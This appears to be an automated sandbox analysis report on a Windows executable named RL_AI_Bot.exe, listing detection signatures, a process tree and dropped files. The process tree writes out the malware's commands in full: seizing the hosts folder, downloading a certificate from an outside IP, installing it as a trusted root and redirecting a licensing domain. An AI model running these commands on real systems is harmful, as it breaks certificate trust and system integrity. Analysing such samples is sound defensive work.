Analysis

  • max time kernel
    79s
  • max time network
    77s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2024, 00:19

General

  • Target
    RL AI BOT/RL_AI_Bot.exe
  • Size 4.6MB
  • Sample240925-amk8batdkn
  • SHA256 c388a38e46a212f9413d41a9f28265a2fe1c7c77b3620bfcdcc6c7b4b3b9dee0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 40 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RL AI BOT\RL_AI_Bot.exe
    "C:\Users\Admin\AppData\Local\Temp\RL AI BOT\RL_AI_Bot.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c @echo off & echo Running fix.bat silently... & start "" /min /b cmd /c "C:\Users\Admin\AppData\Local\Temp\fix.bat & exit"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\system32\cmd.exe
        cmd /c "C:\Users\Admin\AppData\Local\Temp\fix.bat & exit"
        3⤵
        • Drops file in Drivers directory
        • Suspicious use of WriteProcessMemory
        PID:1716
        • C:\Windows\system32\takeown.exe
          takeown /F C:\Windows\System32\drivers\etc /R /A
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3920
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\drivers\etc /grant administrators:F /T
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3608
        • C:\Windows\system32\certutil.exe
          certutil -store TrustedRoot
          4⤵
            PID:1840
          • C:\Windows\system32\findstr.exe
            findstr /i /c:"C:\Users\Admin\AppData\Local\Temp\server.crt"
            4⤵
              PID:3784
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -Command "Invoke-WebRequest -Uri http://188.227.107.14/server.crt -OutFile 'C:\Users\Admin\AppData\Local\Temp\server.crt'"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4856
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\server.crt" SHA256
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2060
              • C:\Windows\system32\certutil.exe
                certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\server.crt" SHA256
                5⤵
                  PID:2672
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -Command "Import-Certificate -FilePath 'C:\Users\Admin\AppData\Local\Temp\server.crt' -CertStoreLocation 'Cert:\LocalMachine\Root' -ErrorAction SilentlyContinue"
                4⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4288
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c certutil -store TrustedRoot | findstr /i /c:"C:\Users\Admin\AppData\Local\Temp\server.crt"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:464
                • C:\Windows\system32\certutil.exe
                  certutil -store TrustedRoot
                  5⤵
                    PID:1572
                  • C:\Windows\system32\findstr.exe
                    findstr /i /c:"C:\Users\Admin\AppData\Local\Temp\server.crt"
                    5⤵
                      PID:1000
                  • C:\Windows\system32\findstr.exe
                    findstr /C:"188.227.107.14 keyauth.win" "C:\Windows\System32\drivers\etc\hosts"
                    4⤵
                      PID:2064
                    • C:\Windows\system32\ipconfig.exe
                      ipconfig /flushdns
                      4⤵
                      • Gathers network information
                      PID:4980
                • C:\Users\Admin\AppData\Local\Temp\RL_AI.exe
                  C:\Users\Admin\AppData\Local\Temp\RL_AI.exe
                  2⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of WriteProcessMemory
                  PID:2076
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c cls
                    3⤵
                      PID:2548
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\RL_AI.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3336
                      • C:\Windows\system32\certutil.exe
                        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\RL_AI.exe" MD5
                        4⤵
                          PID:3732
                        • C:\Windows\system32\find.exe
                          find /i /v "md5"
                          4⤵
                            PID:3076
                          • C:\Windows\system32\find.exe
                            find /i /v "certutil"
                            4⤵
                              PID:3988
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c cls
                            3⤵
                              PID:2676
                        • C:\Windows\system32\taskmgr.exe
                          "C:\Windows\system32\taskmgr.exe" /4
                          1⤵
                          • Checks SCSI registry key(s)
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:1212
                        • C:\Windows\System32\rundll32.exe
                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                          1⤵
                            PID:4768

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                powershell.exe.log

                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                • Size 2KB
                                • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
                                • MD5 SHA1 SHA512

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
                                • MD5 SHA1 SHA512

                                __PSScriptPolicyTest_ozy1loma.l3o.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ozy1loma.l3o.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512

                                autDF54.tmp

                                • Path C:\Users\Admin\AppData\Local\Temp\autDF54.tmp
                                • Size 3.6MB
                                • SHA256 87f84086ae3ebd38fe6df4c2a90cc2064787c9a863bb279cc278467aa2f0edc9
                                • MD5 SHA1 SHA512 SSDEEP

                                fix.bat

                                • Path C:\Users\Admin\AppData\Local\Temp\fix.bat
                                • Size 1KB
                                • SHA256 9847b9305180be84090dc361c21bfc002223309fbf22a991b5396bf5a5fd79d3
                                • MD5 SHA1 SHA512

                                server.crt

                                • Path C:\Users\Admin\AppData\Local\Temp\server.crt
                                • Size 8KB
                                • SHA256 b6ffc9051d06fe4067e0fdc1534e61304f67a9a2148da22c47a5be57b3625895
                                • MD5 SHA1 SHA512 SSDEEP

                                hosts

                                • Path C:\Windows\System32\drivers\etc\hosts
                                • Size 2B
                                • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
                                • MD5 SHA1 SHA512

                                memory/1212-73-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-71-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-67-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-68-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-69-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-70-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-72-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-62-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-61-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/1212-63-0x00000248D8780000-0x00000248D8781000-memory.dmp

                                memory/2076-56-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/2076-53-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/2076-45-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/2076-50-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/2076-49-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/2076-47-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/2076-48-0x00007FF692490000-0x00007FF692D42000-memory.dmp

                                memory/4856-22-0x000002241DDD0000-0x000002241DDF2000-memory.dmp